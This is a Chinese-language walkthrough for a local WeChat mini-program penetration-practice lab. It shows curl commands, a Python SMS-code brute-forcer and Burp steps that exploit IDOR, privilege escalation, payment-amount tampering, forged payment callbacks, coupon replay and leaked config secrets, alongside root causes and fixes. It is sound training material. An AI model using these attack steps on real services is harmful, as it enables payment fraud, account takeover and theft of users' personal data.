微信小程序漏洞靶场 · weapp-vuln-lab
介绍
一个可以在本地完整跑起来的微信小程序渗透练习环境:
- 后端:纯 Python 标准库,零第三方依赖,
python3 server/app.py直接启动 - 前端:原生微信小程序,微信开发者工具导入即可预览
- 覆盖:水平越权 / 垂直越权 / 未授权访问 / 支付篡改 / 验证码爆破 / 逻辑漏洞 / 信息泄露
目录结构
weapp-vuln-lab/├── server/│ └── app.py # 后端,所有 [VULN-xx] 都在这里├── miniprogram/│ ├── app.js # baseUrl 在这里改│ ├── app.json│ ├── app.wxss│ ├── sitemap.json│ ├── utils/│ │ ├── config.js # [VULN-13] 硬编码密钥│ │ └── request.js # 统一请求封装│ └── pages/│ ├── index/ # 登录 + 商品 + 下单支付│ ├── order/ # 订单列表 + 按订单号查询(IDOR 入口)│ └── me/ # 个人信息 + 按 UID 查用户(越权入口)├── tools/│ └── verify.py # 自检脚本,一条命令验证所有漏洞是否通├── project.config.json└── README.md启动
起后端
cd weapp-vuln-labpython3 server/app.py看到这个就成功了:
============================================================ 微信小程序漏洞靶场 已启动 地址: http://127.0.0.1:9000 账号: alice/123456 bob/123456 按 Ctrl+C 停止============================================================- 端口默认 9000,不是 8000 —— 8000 经常被别的靶场/开发服务器占着,冲突了会直接启动失败。
- 想换端口:
python3 server/app.py -p 9100,同时记得改miniprogram/app.js里的baseUrl。 - 数据全在内存里,重启就重置,随便打崩。
先跑一下自检,确认 13 个漏洞都通:
python3 tools/verify.py返回
[+] alice token = a80721f4fcde4dae8e66f1107cd89725
--- VULN-03 IDOR: 用 alice 的 token 查 bob 的订单 2024100100002 ---code=0 msg=ok{ "orderId": "2024100100002", "uid": "1002", "receiver": "鲍勃", "phone": "13800138002", "address": "陕西省西安市碑林区 YY 大道 88 号"}
--- VULN-02 越权+debug: 查 bob 的资料并带 debug=1 ---code=0 msg=ok{ "uid": "1002", "nickname": "鲍勃", "role": "user", "balance": 66.0, "phone": "13800138002", "idcard": "440101199808087777", "email": "bob@example.com"}
--- VULN-10 垂直越权: 普通用户拉全量用户表 ---code=0 msg=ok{ "total": 3, "list": [ { "uid": "1", "username": "admin", "nickname": "超级管理员", "phone": "13900139000", "role": "admin", "balance": 0.0 }, { "uid": "1001", "username": "alice", "nickname": "爱丽丝", "phone": "13800138001", "role": "user", "balance": 128.5 }, { "uid": "1002", "username": "bob", "nickname": "鲍勃", "phone": "13800138002", "role": "user", "balance": 66.0 } ]}
[+] 新订单 1793236889003 原价 ¥399.0
--- VULN-04 改价: amount 传 0.01 ---code=0 msg=支付成功{ "payNo": "PAY1793236889274", "amount": 0.01, "originAmount": 399.0, "orderId": "1793236889003"}
--- VULN-06 伪造支付回调: 未登录直接把订单标记为已支付 ---code=0 msg=回调已处理{ "orderId": "1793236889004", "status": "paid", "paidAmount": 0.01}
[+] 验证码接口响应: {"code": 0, "msg": "验证码已发送", "data": {"phone": "13800138001", "expireIn": 300, "debugCode": "6171"}}
--- VULN-08 校验错误码,看提示是否可区分 ---code=400 msg=验证码错误
--- VULN-07 直接用响应里的 debugCode 通过校验 ---code=0 msg=验证通过{ "phone": "13800138001", "verified": true, "tries": 2}
--- VULN-09 优惠券重放 5 次 ---第 1 次: usedTimes=1 totalDiscount=10.0第 2 次: usedTimes=2 totalDiscount=20.0第 3 次: usedTimes=3 totalDiscount=30.0第 4 次: usedTimes=4 totalDiscount=40.0第 5 次: usedTimes=5 totalDiscount=50.0
--- flag 用普通用户 token ---code=403 msg=权限不足,只有管理员能查看
[+] VULN-11 未授权拿到数据库口令: Root@2024!
--- 密码复用: 用上面泄露的口令登录 admin 再取 flag ---code=0 msg=恭喜,你拿到了管理员权限{ "flag": "flag{wx_miniprogram_lab_pwned}"}导入小程序
- 打开微信开发者工具 → 新建项目 → 导入项目
- 目录选
weapp-vuln-lab(选到有project.config.json的那一层,不是miniprogram/) - AppID 选「测试号」
- 关键一步:右上角详情 → 本地设置 → 勾选 「不校验合法域名、web-view(业务域名)、TLS 版本以及 HTTPS 证书」
第 4 步对应的就是 project.config.json 里的 setting.urlCheck: false。不勾的话 http://127.0.0.1:9000 的请求会被开发者工具直接拦掉,你会看到一片 request:fail。
使用Burpsuite前要做的准备
打开进去后默认监听 127.0.0.1:8080,不用改。
开发者工具右上角 设置(齿轮)→ 代理 选「手动设置代理」,地址 127.0.0.1,端口 8080,保存 按 Ctrl+B 重新编译,让 wx.request 走新代理
Burp 顶部 Proxy → Intercept,确认 Intercept is on
接着在模拟器点击就可以获得请求了。
微信小程序抓包时最容易撞上的一堵墙:靶场后端跑在 127.0.0.1:9000,Burp 在 8080 等着,开发者工具的代理也配好了,但 HTTP history 里一条请求都没有。问题不在 Burp,而在 Chromium 内核——它对 localhost 和 127.0.0.1 有硬编码的代理绕过规则,任何指向 loopback 的请求都直接走本机回环,根本不进入代理链路,配置写得再对也没用。解决思路是让目标地址「看起来不是本机」:后端改用 —host 0.0.0.0 监听所有网卡,小程序里的 baseUrl 换成局域网 IP(例如 192.168.1.7:9000),请求目标一旦离开 loopback 段,流量才会老老实实经过 Burp。这个坑不限于小程序,任何基于 Chromium 的环境抓本地服务都会遇到,记住「loopback 不过代理」这一条能省掉半小时排查。
落到代码上其实只动了两处。第一处是小程序端 app.js 里的 globalData.baseUrl,把原来的 127.0.0.1 换成电脑的局域网 IP,顺便在注释里写清改动的动机和回滚方式——这个修改纯粹是为了抓包服务,练习结束必须改回去,否则一旦不开 Burp,小程序的全部请求都会失败。第二处是后端的启动参数,从默认的 127.0.0.1 改成 —host 0.0.0.0,让服务监听所有网卡;这一步不做,用局域网 IP 访问会直接被拒绝连接。改动加起来不过两行,但要理解它解决的不是「配置没配对」,而是「请求从来没走上代理这条路」。
App({ globalData: { // 抓包练习用局域网 IP:Chromium 内核对 localhost/127.0.0.1 硬编码绕过代理, // 只有非 loopback 地址才会经过 Burp。后端需用 --host 0.0.0.0 启动。 // 练习结束后改回 'http://127.0.0.1:9000'。 baseUrl: 'http://192.168.1.7:9000', token: '', uid: '', role: '', nickname: '' }})页面里有什么
| 页面 | 正常功能 | 暗藏的问题 |
|---|---|---|
| 首页 | 登录、看商品、下单、支付 | 支付金额由客户端传,改包就改价 |
| 订单 | 我的订单、按订单号查询 | 按订单号查询不校验归属 |
| 我的 | 看自己资料、按 UID 查用户 | uid 完全由客户端指定 |
漏洞清单
编号和后端 server/app.py 里的 [VULN-xx] 一一对应。
先设一个变量,省得每条命令都写全:
B=http://127.0.0.1:9000TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"123456"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')echo $TKVULN-01 登录接口无爆破防护
无失败次数限制、无锁定、无验证码。配合 VULN-11 泄露的口令效果最好。
for p in 123456 admin888 Root@2024 wxlab2024; do curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d "{\"username\":\"admin\",\"password\":\"$p\"}" echodone先尝试
28 {"code": 401, "msg": "用户名或密码错误"}29 {"code": 401, "msg": "用户名或密码错误"}30 {"code": 401, "msg": "用户名或密码错误"}连续 30 次错误密码,每次都是 401 用户名或密码错误,没有失败计数、没有锁定、没有 429、没有延迟。第 31 次你换正确口令,照样登录成功 —— 前面 30 次失败完全不留下任何后果。
可以直接爆破。
VULN-02 水平越权 + debug 参数泄露
uid 由客户端指定,登录了就能查任何人。带上 debug=1 还额外返回身份证号、邮箱。
# 正常查自己curl -s "$B/api/user/profile" -H "Authorization: Bearer $TK"
# 查 bobcurl -s "$B/api/user/profile?uid=1002" -H "Authorization: Bearer $TK"
# 再要一份未脱敏的curl -s "$B/api/user/profile?uid=1002&debug=1" -H "Authorization: Bearer $TK"对应小程序里「我的 → 按 UID 查询用户」那个输入框。
B=http://127.0.0.1:9000TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"123456"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
curl -s "$B/api/user/profile" -H "Authorization: Bearer $TK"curl -s "$B/api/user/profile?uid=1002" -H "Authorization: Bearer $TK"curl -s "$B/api/user/profile?uid=1002&debug=1" -H "Authorization: Bearer $TK"返回
{"code": 0, "msg": "ok", "data": {"uid": "1001", "nickname": "爱丽丝", "role": "user", "balance": 128.5, "phone": "138****8001"}}{"code": 0, "msg": "ok", "data": {"uid": "1002", "nickname": "鲍勃", "role": "user", "balance": 66.0, "phone": "138****8002"}}{"code": 0, "msg": "ok", "data": {"uid": "1002", "nickname": "鲍勃", "role": "user", "balance": 66.0, "phone": "13800138002", "idcard": "440101199808087777", "email": "bob@example.com"}}%代码根因(app.py:176):
uid = str(query.get("uid") or whoami(token) or "")query.get(“uid”) 排在 token 之前 —— URL 里传了 uid 就用你的,token 里记录的身份被直接覆盖。
VULN-03 订单详情 IDOR
只校验登录,不校验订单归属。预置的别人订单号:2024100100001 / 2024100100002 / 2024100100003。
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK"能拿到收货人、手机号、详细地址、内部备注 —— 这就是一次完整的用户信息泄露。
对应小程序里「订单 → 按订单号查询」。
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK" | python3 -m json.tool返回
{ "code": 0, "msg": "ok", "data": { "orderId": "2024100100002", "uid": "1002", "goods": "\u964d\u566a\u84dd\u7259\u8033\u673a", "amount": 499.0, "status": "paid", "receiver": "\u9c8d\u52c3", "phone": "13800138002", "address": "\u9655\u897f\u7701\u897f\u5b89\u5e02\u7891\u6797\u533a YY \u5927\u9053 88 \u53f7", "remark": "\u4e0d\u8981\u653e\u53d1\u7968", "createdAt": "2024-10-02 14:05:10", "paidAmount": 0.01 }}判定:uid: “1002” 是 bob 的单,但你(1001)能看全 —— 收货人、手机号、详细住址、内部备注。
注意这里的 paidAmount: 0.01 —— 那是做 VULN-05 时留下的痕迹。越权不仅能读,还能写,两条洞在这张单上串起来了。
VULN-04 支付金额篡改
后端不比对订单原价,客户端传多少就是多少。
TK / $ORDER记得填
# 先下单,拿到 orderIdORDER=$(curl -s -X POST $B/api/order/create -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' -d '{"goodsId":"G1001"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["orderId"])')echo $ORDER
# 399 元的键盘,0.01 元拿下curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' \ -d "{\"orderId\":\"$ORDER\",\"amount\":0.01}"例如
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"123456"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')echo "TK=$TK"
ORDER=$(curl -s -X POST $B/api/order/create -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' -d '{"goodsId":"G1001"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["orderId"])')echo "ORDER=$ORDER"
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' \ -d "{\"orderId\":\"$ORDER\",\"amount\":0.01}"返回里 originAmount: 399.0 和 amount: 0.01 摆在一起,效果很直观。
TK=e235086900944ff1bbad5b7e6659c056ORDER=1793238791014{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793238791859", "amount": 0.01, "originAmount": 399.0, "orderId": "1793238791014"}}Burp 里的做法:小程序点「去支付」时拦截请求,把 body 里 "amount":399 改成 "amount":0.01,放行。
抓到/api/pay/create
POST /api/pay/create HTTP/1.1Host: 10.36.118.207:9000Content-Length: 41Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CNAuthorization: Bearer 5e97ada54411402a8d9c435582e76b39Referer: https://servicewechat.com/wx822c044bc2fdc2ea/devtools/page-frame.htmlUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1 wechatdevtools/2.02.2609240 MicroMessenger/8.0.5 Language/zh_CN webview/content-type: application/jsonConnection: keep-alive
{"orderId":"1793243335016","amount":499}499改0.01然后send
HTTP/1.1 200 OKServer: WxLab/1.0 Python/3.13.12Date: Thu, 29 Oct 2026 03:11:17 GMTContent-Type: application/json; charset=utf-8Content-Length: 140Access-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-Type, Authorization, X-SignAccess-Control-Allow-Methods: GET, POST, OPTIONS
{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793243477510", "amount": 0.01, "originAmount": 499.0, "orderId": "1793243335016"}}在微信开发者工具中,先点击购买与支付创造请求。
接着点到network,点击支付的请求,点击Copy as cURL。
复制到终端
curl 'http://127.0.0.1:9000/api/pay/create' \ -H 'Accept: */*' \ -H 'Accept-Language: zh-CN' \ -H 'Authorization: Bearer 8db1cb318b1e449e8ceb94eca50aff77' \ -H 'Connection: keep-alive' \ -H 'Referer: https://servicewechat.com/wx822c044bc2fdc2ea/devtools/page-frame.html' \ -H 'Sec-Fetch-Dest: empty' \ -H 'Sec-Fetch-Mode: cors' \ -H 'Sec-Fetch-Site: same-site' \ -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1 wechatdevtools/2.02.2609240 MicroMessenger/8.0.5 Language/zh_CN webview/ hash/1103715325 sid/s0 winId/s0 token/1b3471567f46d4d5e818acc3aba4b857' \ -H 'content-type: application/json' \ -H 'sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "macOS"' \ --data-binary '{"orderId":"1793238523013","amount":499}' \ --compressed将499改为0.01,看到返回
{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793238576865", "amount": 0.01, "originAmount": 499.0, "orderId": "1793238523013"}}VULN-05 支付接口不校验订单归属
/api/pay/create 也不检查这单是不是你的。用 alice 的 token 给 bob 的订单付款/改状态:
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' \ -d '{"orderId":"2024100100002","amount":0.01}'先拿到alice的token
B=http://127.0.0.1:9000TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"123456"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')echo "TK=$TK"返回
TK=ae3e57e7df3b483882df43993f05e636第一步先看这单是谁的
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK"发现订单是Bob的,但现在登陆的是alice
{"code": 0, "msg": "ok", "data": {"orderId": "2024100100002", "uid": "1002", "goods": "降噪蓝牙耳机", "amount": 499.0, "status": "paid", "receiver": "鲍勃", "phone": "13800138002", "address": "陕西省西安市碑林区 YY 大道 88 号", "remark": "不要放发票", "createdAt": "2024-10-02 14:05:10"}}第二步用 alice 的身份给 bob 的单付款
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' \ -d '{"orderId":"2024100100002","amount":0.01}'返回
{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793244546496", "amount": 0.01, "originAmount": 499.0, "orderId": "2024100100002"}}%验证
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK"返回
{"code": 0, "msg": "ok", "data": {"orderId": "2024100100002", "uid": "1002", "goods": "降噪蓝牙耳机", "amount": 499.0, "status": "paid", "receiver": "鲍勃", "phone": "13800138002", "address": "陕西省西安市碑林区 YY 大道 88 号", "remark": "不要放发票", "createdAt": "2024-10-02 14:05:10", "paidAmount": 0.01}}%可以看到”uid”: “1002” ← 订单属于 bob,“paidAmount”: 0.01 ← 但钱是 alice 付的,金额还是 alice 定的。
为什么能成:代码里少了一行 server/app.py 的 h_pay_create(243-254 行)只做了两件事:
uid = whoami(token) # 你是谁 —— 做了if not uid: return fail(401)order = ORDERS.get(order_id) # 订单存在吗 —— 做了if not order: return fail(404)# ← 这里缺一句:order["uid"] != uid 就 403它验证了「你登录了」,验证了「订单存在」,唯独没验证「这单是不是你的」。修复只需要中间插一句:
if str(order.get("uid")) != str(uid): return fail(403, "无权操作该订单")在BP里怎么做
- 模拟器用 alice 正常买一件,Intercept 拦住 pay/create
- 把 orderId 改成 2024100100002(bob 的单),amount 改成 0.01
- Forward,回模拟器看提示 —— 界面会显示「支付成功」,但它付的是别人的订单
VULN-06 伪造支付回调
/api/pay/notify 不校验签名,甚至不需要登录。任何人可以直接把订单改成「已支付」。
curl -s -X POST $B/api/pay/notify -H 'Content-Type: application/json' \ -d '{"orderId":"2024100100003","status":"paid","amount":0.01}'注意这条命令里没有 Authorization 头——这就是重点。真实世界里这个接口是给支付平台服务器回调用的,正常请求来自微信支付的服务器,不是浏览器,所以作者没给它加登录校验;但也没加签名校验,于是任何人都能冒充微信支付。
真实环境里这种接口通常有签名,练的就是「去掉签名还能不能过」这个判断。
验证
B=http://127.0.0.1:9000TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"123456"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
curl -s "$B/api/order/detail?orderId=2024100100003" -H "Authorization: Bearer $TK"返回
{"code": 0, "msg": "ok", "data": {"orderId": "2024100100003", "uid": "1", "goods": "会员月卡(限购 1 次)", "amount": 1.0, "status": "paid", "receiver": "超级管理员", "phone": "13900139000", "address": "内部测试地址", "remark": "内部账号,勿动", "createdAt": "2024-10-03 08:00:00"}}看到 “paidAmount”: 0.01 就是打穿了。拿这个单号去验证它原本 1 元的会员月卡,现在标记为 0.01 元已支付。
后端对 status 和 amount 都是直接赋值、不做任何校验,尝试:
# 1. 状态机污染:把订单改成任意字符串curl -s -X POST $B/api/pay/notify -H 'Content-Type: application/json' \ -d '{"orderId":"2024100100003","status":"hacked"}'
# 2. 负数金额:付 -100 元curl -s -X POST $B/api/pay/notify -H 'Content-Type: application/json' \ -d '{"orderId":"2024100100003","status":"paid","amount":-100}'返回
{"code": 0, "msg": "回调已处理", "data": {"orderId": "2024100100003", "status": "hacked", "paidAmount": null}}
{"code": 0, "msg": "回调已处理", "data": {"orderId": "2024100100003", "status": "paid", "paidAmount": -100.0}}%这说明漏洞不止「无签名」一层,还有「状态值没有白名单」和「金额没有下限」——这两点在真实业务里分别对应「订单状态机被污染」和「负数退款套利」,都是能直接造成资金损失的问题。
真实系统的正确姿势
微信支付 V3 的回调有三道锁,缺一不可:
- 验签:请求头带 Wechatpay-Signature、Wechatpay-Timestamp、Wechatpay-Nonce,用平台证书公钥验,签不过直接丢弃
- 时间戳校验:Wechatpay-Timestamp 与当前时间差超过 5 分钟视为重放
- 金额比对:回调里的 amount.total 必须等于本地订单金额,不等就报警而不是直接改状态
VULN-07 验证码在响应里回显
debugCode 字段直接把验证码返回了 ——「开发者调试字段忘了删」的经典案例。
curl -s -X POST $B/api/sms/send -H 'Content-Type: application/json' \ -d '{"phone":"13800138001"}'即
curl -s -X POST http://127.0.0.1:9000/api/sms/send \ -H 'Content-Type: application/json' \ -d '{"phone":"13800138001"}'得到
{"code": 0, "msg": "验证码已发送", "data": {"phone": "13800138001", "expireIn": 300, "debugCode": "4830"}}%响应里的 debugCode 就是真实验证码,直接拿去打 /api/sms/verify 一次过,压根不用爆破。然后可以用这个来打VULN-01 — 管理员复用了数据库口令。
B=http://127.0.0.1:9000PWD_LEAK=$(curl -s $B/api/config \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["db"]["password"])')
# 用泄露的口令试 admincurl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d "{\"username\":\"admin\",\"password\":\"$PWD_LEAK\"}"{"code": 0, "msg": "登录成功", "data": {"token": "fa0c086e6b2742a09c7a03bed0905dfd", "uid": "1", "role": "admin", "nickname": "超级管理员"}}%拿到 admin 的 token 后:
curl -s "$B/api/flag" -H "Authorization: Bearer fa0c086e6b2742a09c7a03bed0905dfd"返回
{"code": 0, "msg": "恭喜,你拿到了管理员权限", "data": {"flag": "flag{wx_miniprogram_lab_pwned}"}}%可以得到flag
VULN-08 验证码可爆破
07 修了也不影响 08。就算开发者把 debugCode 删掉,只要没有失败锁定,4 位码最多 10000 次必中。
无尝试次数上限(代码里 tries 只加不封),且提示可区分(「已过期」vs「错误」),4 位码最多 10000 次必中。
python3 - <<'PY'import json, urllib.requestB = "http://127.0.0.1:9000"
def post(path, data): req = urllib.request.Request(B + path, data=json.dumps(data).encode(), headers={"Content-Type": "application/json"}, method="POST") try: with urllib.request.urlopen(req) as r: return json.loads(r.read().decode()) except urllib.error.HTTPError as e: return json.loads(e.read().decode())
phone = "13800138001"post("/api/sms/send", {"phone": phone})for i in range(10000): code = "%04d" % i res = post("/api/sms/verify", {"phone": phone, "code": code}) if res["code"] == 0: print("命中:", code, "尝试次数:", i + 1) breakPY本地几秒就出结果。这就是为什么真实系统必须做「失败 5 次锁定」+「验证码用后即焚」。
跑python3 tools/brute_sms.py
import json, urllib.request, time
B = "http://127.0.0.1:9000"PHONE = "13800138001"
def post(path, data): req = urllib.request.Request( B + path, data=json.dumps(data).encode(), headers={"Content-Type": "application/json"}, method="POST") try: with urllib.request.urlopen(req, timeout=5) as r: return json.loads(r.read().decode()) except urllib.error.HTTPError as e: return json.loads(e.read().decode())
post("/api/sms/send", {"phone": PHONE})
t0 = time.time()for i in range(10000): code = "%04d" % i res = post("/api/sms/verify", {"phone": PHONE, "code": code}) if res["code"] == 0: print("命中 %s,尝试 %d 次,耗时 %.1fs" % (code, i + 1, time.time() - t0)) break if i % 1000 == 999: print("已试 %d 次,当前 msg: %s" % (i + 1, res["msg"]))# 默认打 127.0.0.1:9000 / 13800138001python3 tools/brute_sms.py
# 换目标python3 tools/brute_sms.py --phone 13900001111python3 tools/brute_sms.py --base http://10.36.118.207:9000======================================================== VULN-08 验证码爆破 目标: http://127.0.0.1:9000 手机号: 13800138001========================================================[!] 响应里直接回显了验证码 debugCode=8670(VULN-07 成立)[!] 本脚本仍然走爆破路径,证明修掉 07 也挡不住 08
[*] 开始爆破 4 位验证码(最多 10000 次)...
[*] 已试 1000 次 8831 req/s 最近返回: 验证码错误[*] 已试 2000 次 9183 req/s 最近返回: 验证码错误[*] 已试 3000 次 9306 req/s 最近返回: 验证码错误[*] 已试 4000 次 9357 req/s 最近返回: 验证码错误[*] 已试 5000 次 9388 req/s 最近返回: 验证码错误[*] 已试 6000 次 9427 req/s 最近返回: 验证码错误[*] 已试 7000 次 9450 req/s 最近返回: 验证码错误[*] 已试 8000 次 9468 req/s 最近返回: 验证码错误
[+] 命中验证码: 8670[+] 尝试次数 : 8671[+] 耗时 : 0.91 秒(9479 req/s)[+] 结论: 4 位码在无失败锁定下等价于 0 位 —— 10000 次必中- 用 http.client 复用一条 TCP 连接,而不是 urllib 每次都握手——这是 10000 req/s 和 300 req/s 的差别
- 检测到返回里有「过期」字样会自动重新发码,避免跑太久中途 TTL 到期导致前功尽弃
VULN-09 优惠券可重放
既不校验 owner(能用别人的券),也不校验是否已用完。重放同一个请求就能无限抵扣。
for i in $(seq 1 10); do curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' -d '{"couponId":"CP100"}' echodone即
B=http://127.0.0.1:9000TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"123456"}' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
for i in $(seq 1 10); do curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' -d '{"couponId":"CP100"}' echodone看 usedTimes 和 totalDiscount 一路涨到 100 元。一张「10 元无门槛券」被用成了 100 元。
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 1, "totalDiscount": 10.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 2, "totalDiscount": 20.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 3, "totalDiscount": 30.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 4, "totalDiscount": 40.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 5, "totalDiscount": 50.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 6, "totalDiscount": 60.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 7, "totalDiscount": 70.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 8, "totalDiscount": 80.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 9, "totalDiscount": 90.0}}{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 10, "totalDiscount": 100.0}}再试别人的券
curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' -d '{"couponId":"CP200"}'返回
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP200", "owner": "1002", "discount": 50.0, "usedTimes": 1, "totalDiscount": 50.0}}%CP200 是 bob 的券,alice 同样能用 —— 那是「水平越权 + 逻辑漏洞」叠加。不校验 owner(我的券你能用)+ 不校验 usedTimes(一次性的能无限用)。
尝试并发重放
顺序请求只能说明「不校验」,并发请求暴露的是「没有原子性」:
seq 30 | xargs -P 30 -I{} curl -s -X POST $B/api/coupon/use \ -H "Authorization: Bearer $TK" -H 'Content-Type: application/json' \ -d '{"couponId":"CP100"}' -o /dev/null
curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \ -H 'Content-Type: application/json' -d '{"couponId":"CP100"}'这个模式在 TOCTOU 竞态那道题(moectf)里见过:读-判断-写 三步之间没有锁,30 个请求同时通过「还没用过」的判断。真实场景里对应「1 元秒杀 500 件、结果卖出 800 件」。
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 41, "totalDiscount": 410.0}}%VULN-10 垂直越权
/api/admin/users 只校验 token 有效,忘了校验 role == "admin"。普通用户能拉全量用户表。
curl -s "$B/api/admin/users" -H "Authorization: Bearer $TK"curl -s "$B/api/admin/users" -H "Authorization: Bearer $TK" | python3 -m json.tool{ "code": 0, "msg": "ok", "data": { "total": 3, "list": [ { "uid": "1", "username": "admin", "nickname": "\u8d85\u7ea7\u7ba1\u7406\u5458", "phone": "13900139000", "role": "admin", "balance": 0.0 }, { "uid": "1001", "username": "alice", "nickname": "\u7231\u4e3d\u4e1d", "phone": "13800138001", "role": "user", "balance": 128.5 }, { "uid": "1002", "username": "bob", "nickname": "\u9c8d\u52c3", "phone": "13800138002", "role": "user", "balance": 66.0 } ] }}判定:role: “user” 的 alice 拿到了 role: “admin” 的账号信息。而且你现在知道了管理员的 username 是 admin、手机号 13900139000 —— 这正好是 VULN-01 爆破的靶子,两个洞配合起来攻击路径就完整了。
代码根因(app.py:348 附近):只做了 whoami(token),没做 if USERS[uid][“role”] != “admin”: return 403。
VULN-11 配置接口未授权
不需要任何凭证,直接吐出 AppSecret、OSS AK/SK、数据库账号密码。
curl -s "$B/api/config" | python3 -m json.tool这是整条攻击链的转折点 —— 拿到的口令,去 /api/login 上试 admin,看看有没有密码复用。
输入
curl -s http://127.0.0.1:9000/api/config | python3 -m json.tool返回
{ "code": 0, "msg": "ok", "data": { "appId": "wxdemo0000000000", "appSecret": "b7f3c1e9a24d4f8e9c0a1b2d3e4f5a6b", "ossAk": "LTAI5tDemoFakeKey123", "ossSk": "Qm9ndXNBMTIzNDU2Nzg5MGFiY2RlZg==", "smsAccessKey": "sms_live_9f8e7d6c5b4a3210", "db": { "host": "10.0.0.12", "port": 3306, "user": "root", "password": "Root@2024!", "database": "wxlab" } }}五个字段,四类杀伤力:
- appSecret: b7f3c1e9… → 配合 appId 换 access_token,冒充你的小程序服务端调微信接口(发订阅消息、解密用户手机号)
- ossAk / ossSk → 阿里云密钥,直接接管对象存储,上传/下载/删除整个 bucket
- db.password: Root@2024! → 数据库口令,配合 host: 10.0.0.12:3306 就是直连整个库
- smsAccessKey → 短信服务被盗刷
VULN-12 内网探针接口泄露
curl -s "$B/api/debug/env" | python3 -m json.tool内网 IP、代码绝对路径、Python 版本、构建号。真实渗透里这一步是为了「找下一步往哪走」。
curl -s http://127.0.0.1:9000/api/debug/env | python3 -m json.tool{ "code": 0, "msg": "ok", "data": { "env": "prod", "serverTime": "2026-10-29 11:48:22", "internalIp": "10.0.0.12", "codePath": "/data/www/wxlab/server/app.py", "python": "3.13", "build": "v1.0.0-20241001", "note": "TODO: \u4e0a\u7ebf\u524d\u5220\u6389\u8fd9\u4e2a\u63a5\u53e3\uff08\u5fd8\u4e86\uff09" }}- internalIp: 10.0.0.12 → 和 config 里的 db.host 完全一致,说明数据库就在那台内网机器上,路径清晰了
- codePath: /data/www/wxlab/server/app.py → 一旦有任意文件读取,直接照着路径读源码
- note: “TODO: 上线前删掉这个接口
VULN-13 前端硬编码密钥
miniprogram/utils/config.js 里躺着 AppSecret、AES key、OSS AK/SK、签名密钥。
解包后一句话就能捞出来:
